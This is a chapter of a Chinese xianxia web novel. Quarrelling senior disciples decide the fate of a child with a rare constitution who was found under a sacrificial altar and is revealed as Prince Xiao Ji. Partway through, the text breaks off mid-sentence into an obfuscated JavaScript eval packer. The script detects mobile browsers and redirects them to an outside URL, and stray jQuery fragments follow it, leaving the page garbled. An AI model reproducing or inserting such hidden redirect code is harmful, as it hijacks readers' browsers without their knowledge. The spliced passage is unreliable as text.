末崽给你一刀 作品

22. 萧祭

韩景整只手臂迅速环到孩子背上,护住他的要害部位,并未退后。


“师兄这是为何?”


大师兄完全有能力让这个孩子瞬息间魂飞魄散,但既然他没有一出手便这么做,就还有转圜的余地。


他在等别人吐露想法。


孩子被按在韩景怀里,有些无措,难以理解为什么他还没能从被仙人救下的欢喜中脱离,便又面临杀身之祸。


“你抽什么风!”二师姐方才还笑意晏晏,如今却顿时冷下脸,瞬移过来甩手将剑打歪,对大师兄怒目而视,“一个孩子怎么碍着你了!去见一趟师父煞气就重成这样!?”


大师兄挽手将剑背至身后,冷眼望向她:“你不用为了读心,引我回忆师父嘱咐了何事。我倒想先问问你,你为什么护他。”


心思被发现,二师姐面上有些尴尬,但很快便恢复如常,正经道:“这个孩子体质特殊,若我没有看走眼,他与一本上古典籍上记载的圣体正相仿,精神力天生就要远超其他修士。收他入门下,我的分身术总不至于失传。”


体质特殊?


韩景惊讶地望向耸在自己肩头那颗毛茸茸的小脑袋。


孩子听到师姐又是夸他“体质特殊”,又要传给他什么分身术,一时好奇大于害怕,直起身来,扭头朝身旁张望。


“你想留下他教习功法?”大师兄拧着眉头问。


“不光是我,三师妹也会很喜欢他。距离我看到那册典籍的时间太长,当时又没怎么注意,他这体质具体是怎么一回事记不太清了,但能肯定,他经过修炼,精神力可以达到极强的水平,操控分身傀儡正合适。”二师姐肃然答道。


韩景不禁感叹画中世界的机遇之多。


虽然目前并不知晓他怀中的孩子到底是什么圣体,但凭现在的修真界推测,但凡拥有圣体的修士,就算被夺舍了几轮,也都已经站到了各仙域的顶峰,前途不可限定,只要这孩子能一直活下去,早晚会熬成师兄师姐一般的角色。


只是,具备圣体的修士怎会出现在俗世?


大师兄显然也对这个问题有所怀疑,当即把躺在地上挺尸摆烂的三祝给拖了过来审问:“天衢宗是怎么追捕你的,怎会将你逼到俗世?你又是经何契机将他带回的?”


三祝翻着肚皮勾起四肢,生无可恋道:“忘了。”


“再加一年。”


“哎别、天衢宗那些人就是一直开空间嘛,然后拿各种术法在我眼前晃,眼花缭乱的,一不留神就被他们的空间给套进去了,我好狗不吃眼前亏,啃开护宗大阵就往外面跑,结果他们还接着追我。我情急之下,就跳到了俗世里,心想要打就在俗世打,把他们灵力都耗光,到时候肉搏看谁打得过谁,结果他们都没敢追过来。我在俗世里躲着的时候,正赶上一场祭天大典,我去凑热闹,就捡到他了。”


三祝一个翻身站起,急得恨不得事无巨细地全倒给大师兄。


“什么祭天大典?”


“大典能够保佑国运昌盛,百姓平安。”稚嫩的童声突然传出,插入他们的对话。


大师兄深深望一眼那孩子,韩景无意中将他揽得更紧了些:“师兄莫怪。”


大师兄又将目光移向他,还未来得作何批判,二师姐就已经一把扯住他胳膊把他扒拉了回去:“瞪完这个瞪那个,显着你了?有话跟我说!”


“你静下心来想想,这事到底有没有疑点!”大师兄被她这么一凶,就算向来好脾气,声音中也带上了怒意,又低头向三祝问:“你在大典何处捡到他?”


“祭坛底下,埋得还挺深。”三祝眼看两人已经快要吵起来,吓得尾巴都垂了下去,答得不敢含糊。


怀中的孩子呼吸滞了一瞬,似又找回了些许记忆。


大师兄皱眉不语,看向二师姐,两人之间无甚交流,百万年的相处,已然叫他们只是通过目光便能传递信息,但二师姐对于留下这小皇子的坚定却丝毫没有改变:“你既说这事存疑,那我就和你好好念叨念叨。


一者,我没在他身上发现任何印记抑或咒术。若是天衢宗在他身上做了手脚,以你我眼界不可能看不出来,你也是知道这一点,所以才犹犹豫豫将杀不杀;二者,他的心智的确还是稚童水平,只是要早熟一些,这点你尽可以相信我,若说他是被谁人夺舍或是接受过特殊训练,那也绝不可能;三者,他已经死了至少十年了,这其中变数无穷,天衢宗哪来的本事能将结果算得毫厘不差?


现在你再想想,你那阴谋论成立与否。”


孩子震惊地昂起头,但经过之前大师兄那么寒入骨髓的一眼,他没敢直接插话,只是小声问韩景道:“我死了十年了?仙人,他们说的是真的吗?那我母亲怎么样了!?”


“你会活下来。等师姐忙完,我就带你回俗世去寻。”韩景向他传音安慰。


大师兄深吸一口气,将怒意敛了回去,沉声道:“事出蹊跷,这点你也承认,天衢宗行事何等诡异,你亦不是不知。既然不知其根系如何,不如从根源处避免可能的损失。”


“你既然这么想,那为什么不直接杀了他?”二师姐问。


大师兄望着她,目光由锋锐渐渐软化,最终撇向一旁,声音低闷下去:“我若杀他,你此后定对我生恨。”


“你怕我临到死时恨你吗?”二师姐没头没尾地问道。


她这话说得莫名其妙,韩景能想到师姐突然由这话题跳转到“死”的唯一原因,便是她方才读心读出了什么。


“你知道,有些事是注定的,改不了。你我早就知道。”她没放过眼神闪躲的大师兄,强迫着他与自己对视。


“不是你想的那样……只要不沾因果,独善其身……”大师兄又开始揉起眉心,说话却越发含糊,目光不敢落在任何人身上。


二师姐嗤笑一声,打断了他本就底气不足的论证:“别连自己也骗了。”


韩景听得一头雾水,不知该从哪开始解题,思绪万千中,却感到自己的衣摆被谁拉了拉。


“哎,哎!”三祝匍匐在地,悄悄小口啮住他的衣摆,向下扯着。


“二师兄?”韩景没明白他想干什么,只能向他传音问询。


“他们说什么呢?”三祝不解。


“嗯?我还以为只怪我不懂,师兄早就知道他们谈论之事。”


“啊?我还以为他们说的事只有人族修士才能听懂。”对


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139938|164476||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


同为人族修士的韩景抱有的希望落空,三祝望着他的苍黄色大眼睛中尽是失望,“他们总这样说些我听不懂的话,我以为是只有你们人族才会的那些谋略计策……哎呀,我之前问过他们,他们非说兽族学不会,不教我该怎么破译,原来你这个人也听不懂啊。”


韩景无奈地朝他笑笑,以示歉意。


师兄师姐这番交谈压根就没有让他们听懂的意图,应当是只存在于他二人之间的某种默契,不想叫旁人知晓,此时吵架吵红眼了才会拿到明面上说事。


只是瞒着他这种刚刚收入门下,根系尚不完全清晰的师弟也就算了,为什么还要瞒着三祝呢?三师姐和仇钦知道这件事吗?


韩景无意间往下一瞥,瞥见一双正跟三祝对视、其他身体部位仍然隐形的毫无波澜的眼睛,只觉答案呼之欲出的,是仇钦也不知道他们在说什么。


“我能修得斩天境,就不信因果。但在这里,我信命定。”二师姐言辞坚定,气场节节攀升,虽没有放出丝毫威压,却也将人拖溺于她所架构的观念中,“若有死日,我可舍不得自己研究了数十万年的分身之术失传。若这是谁策划出的饵料,那他们可算是低估姑奶奶了,姑奶奶玩得起也输得起。”


大师兄似乎头痛欲裂,指节在额头上扣得发白,好一会儿,才睁开眼,想再说些什么,却被她止了住:“别想着做你那无用功。不如省点力气,为以后的事奠基。”


话全被抵回了喉间,大师兄长叹一口气,知道改变不了她的想法,向各人望了一眼,愤然拂袖离去。


二师姐并未在意他的愤然离场,而是转向韩景,面容冷冽,平稳迈步走近。


韩景能察觉到那孩子揪着他衣服的手,正因为二师姐的靠近而紧张地蜷曲。


走到正前,她停顿了半晌。这漫长的沉默,让韩景回忆起自己刚刚来到画中世界,被她审视时,脑子里浮现出的无数死状。


果然,上一刻还一脸严肃的二师姐,下一刻就一把将孩子从他怀里提过,举在自己面前上摇下晃地看着,爱不释手。


“你叫什么名字呀,今年几岁了呀,是哪里的人呀?”


她又笑若春风地发出了那熟悉的三连问。


孩子显然接受不了这么夸张的变脸,又被他们之前的剑拔弩张吓得不轻,即使心智早熟,也还是答得勉强。


“我五岁半了……是天驰王朝的七皇子……”


“哦——还是个小皇子呐!”韩景能看出,二师姐明显更喜欢这新玩具了,“敢问小皇子尊名啊?总不能名字都不舍得告诉师姐呀?”


孩子支支吾吾的,似乎说出自己的姓名是什么奇耻大辱,他这份犹豫却引得二师姐更加好奇,一遍遍追问他到底叫什么。


“我叫……萧祭。”孩子小声答着。


“唔,萧这个姓很好听嘛,大气。只是你名字里的‘祭’字,取得是何意?”二师姐疑惑道。


韩景也有些不解,怎会有人取这么不吉利的名字。


名字的含义合该是在新生降临时,对其前景的祝愿,单起一个“祭”字,若是无甚特殊含义,倒不像是祝愿,而是诅咒。


“生以祭国,亡以殉天。”